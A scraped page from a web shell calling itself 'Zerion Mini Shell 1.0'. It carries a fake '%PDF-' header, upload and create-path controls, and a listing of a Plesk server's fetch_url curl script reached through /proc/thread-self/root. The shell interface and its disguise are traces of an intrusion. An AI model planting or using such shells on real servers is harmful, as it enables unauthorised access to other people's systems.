%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/usr/local/psa/admin/sbin/
Upload File :
Create Path :
Current File : //proc/thread-self/root/usr/local/psa/admin/sbin/fetch_url

#!/bin/bash
### Copyright 1999-2023. Plesk International GmbH. All rights reserved.

umask 022
output=`mktemp`
trap 'rm -f $output;' TERM INT EXIT

if [ -z "$output" ]; then
	echo "Cannot create temporary file for execution" >&2
	exit 1
fi

if [ -z "$1" ]; then
	echo "URL not specified" >&2
	exit 1
fi

http_code=`/usr/bin/curl -A "Plesk (fetch_url utility)" -sS -L -k -o "$output" -w "%{http_code}" "$1"`

if [ $? -ne 0 ]; then
	echo "Unable to fetch URL: $1" >&2
	exit 1
fi

# 2xx and 3xx are considered successful (however, 3xx shouldn't be present due to -L above)
rc=0
[ "$http_code" -ge 200 -a "$http_code" -lt 400 ] || rc=1

# In case of error all messages go to stderr
[ "$rc" -eq 0 ] || exec >&2

echo "Url '$1' fetched"
echo "Status: $http_code"
if [ -s "$output" ]; then
	echo "Output:"
	cat "$output"
fi
exit "$rc"

Zerion Mini Shell 1.0